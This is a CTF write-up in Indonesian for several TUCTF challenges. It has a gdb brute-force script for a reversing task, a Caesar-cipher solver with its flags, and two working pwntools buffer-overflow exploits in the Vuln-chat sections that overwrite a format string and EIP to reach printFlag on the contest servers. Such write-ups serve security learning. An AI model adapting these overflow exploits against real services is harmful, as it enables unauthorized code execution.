Reversing 200 (Unknown)

Diberikan file ELF 64 bit stripped.

Berikut hasil disassembly fungsi main

signed __int64 __fastcall main(int a1, char **a2, char **a3)
{
  signed __int64 result; // rax@2
  unsigned int i; // [sp+14h] [bp-Ch]@5
  char *v5; // [sp+18h] [bp-8h]@5

  if ( a1 == 2 )
  {
    if ( strlen(a2[1]) == 56 )
    {
      v5 = a2[1];
      for ( i = 0; i < 0x38; ++i )
      {
        if ( (unsigned int)sub_401E90((__int64)v5, i) )
          dword_603084 = 1;
      }
      if ( dword_603084 )
        puts("Nope.");
      else
        printf("Congraz the flag is: %s\n", v5, a2);
      result = 0LL;
    }
    else
    {
      puts("Still nope.");
      result = 4294967294LL;
    }
  }
  else
  {
    puts("Try again.");
    result = 0xFFFFFFFFLL;
  }
  return result;
}

Dari Pseudo-C diatas diketahui program membutuhkan args dan panjang nya 56 bytes.

fungsi sub_401E90 akan memproses inputan, dan inputan di proses byte per byte hingga 56, dan dword_603084 adalah global variable yang di set ke nilai True.

for ( i = 0; i < 0x38; ++i )
      {
        if ( (unsigned int)sub_401E90((__int64)v5, i) )
          dword_603084 = 1;
      }

saat mencoba membaca hasil Pseodo-C fungsi sub_401E90, saya sama sekali tidak mengerti proses apaan itu *ribet :v karena banyak fungsi-fungsi lain yang dipanggil lagi.

Percobaan debug menggunakan gdb, yang dimana nilai hasil proses fungsi sub_401E90, eax akan bernilai 0x0 apabila byte inputan benar, dan akan bernilai 0x1 apabila byte inputan salah.

Snippet decompile

   0x401c7d:	call   0x401e90
   0x401c82:	test   eax,eax
   0x401c84:	je     0x401c90
gdb-peda$ b *0x0000000000401c82
Breakpoint 1 at 0x401c82
gdb-peda$ r TUCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ p/x $rax
$3 = 0x0
gdb-peda$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ p/x $rax
$3 = 0x1

Karena inputan di proses, byte-per-byte, saya mencoba input dengan prefix “TUCTF{” sehingga nilai eax akan bernilai 0x0 dalam 6 kali iterasi, dan selanjutkan eax akan bernilai 0x1 karena "A"*50 bukan byte-byte yang benar. Dari sini kita bisa melakukan Brute Force setiap kemungkinan byte yang benar.

Berikut script yang saya gunakan untuk melakukan brute force

import gdb
import string
from time import sleep
char_set = string.ascii_letters + string.digits + "!_}"
flag = "TUCTF{"

gdb.execute("b *0x0000000000401c82")

while True:
	for c in char_set:
		pattern = flag + c + "A" * (55-len(flag))
		gdb.execute("r {}".format(pattern))
		for i in range(len(flag)):
			gdb.execute("c")
		rax = gdb.execute("p/x $rax",True,True).split()[-1]
		if rax == "0x0":
		 	flag += c
		 	if "}" in flag:
		 		print("Flag : %s" % (flag))
		 		exit(0)
		 	print("Curret Flag : %s" % (flag))
		 	sleep(1)
		 	break
		print("Pattern : %s" % (pattern))
		print("Nilai Rax : %s" % (rax))	
$ gdb -x unk.py -q unknown --nh --batch

Setelah menunggu beberapa lama, akan mendapatkan Flag

Flag : TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}

Pwn 50 (Vuln-chat)

Classic Buffer Overflow yang dimana meng overwrite Local Variable dengan “%s” agar pada bagian form “Enter your username” tidak dibatasi dan bisa meoverwrite EIP dan arahkan ke fungsi printFlag.

Berikut script yang saya gunakan.

from pwn import *

vuln = remote("vulnchat.tuctf.com",4141)
payload = "A" * 20 + p32(0x00007325) # overwrite with "%s"
vuln.sendlineafter("Enter your username: ",payload)
payload2 = "A" * 49 + p32(0x804856b)
vuln.sendlineafter(": ",payload2)
print vuln.recvall()

Pwn 100 (Vuln-chat2.0)

Classic Buffer Overflow yang dimana mengoverwrite nilai EIP, tetapi kita hanya membutuhkan 1 byte address dari fungsi printFlag

from pwn import *

flag = "\x72"
vuln2 = remote("vulnchat2.tuctf.com", 4242)
vuln2.sendlineafter("Enter your username: ","AAAA")
vuln2.recvuntil("AAAA: ")
payload = "A" * 43 + flag
vuln2.send(payload)
print vuln2.recv(1024)

Crypto 50 (The Never Ending Crypto)

Crypto 50 sebenar nya hanya Caesar Cipher

Berikut script yang saya gunakan untuk melakukan decrypt

from pwn import *
import string

never = remote("neverending.tuctf.com",12345)
char_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~\s"

def round1(char="A"):
	never.sendlineafter("text:",char)
	enc_base = never.recvline().split("is ")[1]
	enc_msg = never.recvline().split("is ")[1]
	enc_msg = enc_msg.split(" decrypted?\n")[0]
	log.info("ENC BASE : -> {}".format(enc_base))
	log.info("ENC MSG : -> {}".format(enc_msg))
	cal = ord(char) - ord(enc_base[0])
	dec = "".join([chr(ord(b) + cal) for b in enc_msg])
	
	non_printable = [ chr(ord(z)) for z in dec if z not in char_set]
	printable = "".join([ chr(ord(z)+95) for z in non_printable if z not in char_set])
	for i in range(len(printable)):
	    dec = dec.replace(non_printable[i],printable[i])

	non_printable2 = [ chr(ord(z)) for z in dec if z not in char_set]
	printable2 = "".join([ chr(ord(z)-190) for z in non_printable2 if z not in char_set])
	for i in range(len(printable2)):
	    dec = dec.replace(non_printable2[i],printable2[i])

	log.info("Decrypted -> {}".format(repr(dec)))
	never.sendlineafter(":",dec)

for i in range(100):
	try:
		log.info("Round {0}".format(i))
		round1()
		if never.recvline().split()[0] == "Correct!":
			log.info("-> BENAR")
			continue
		log.info("-> SALAH")
	except:
		print never.recv()
		never.close()
		break

Pada Round 50 akan mendatkan Flag.

Flag : TUCTF{wh0_w@s_her3_la5t_ye@r?!?}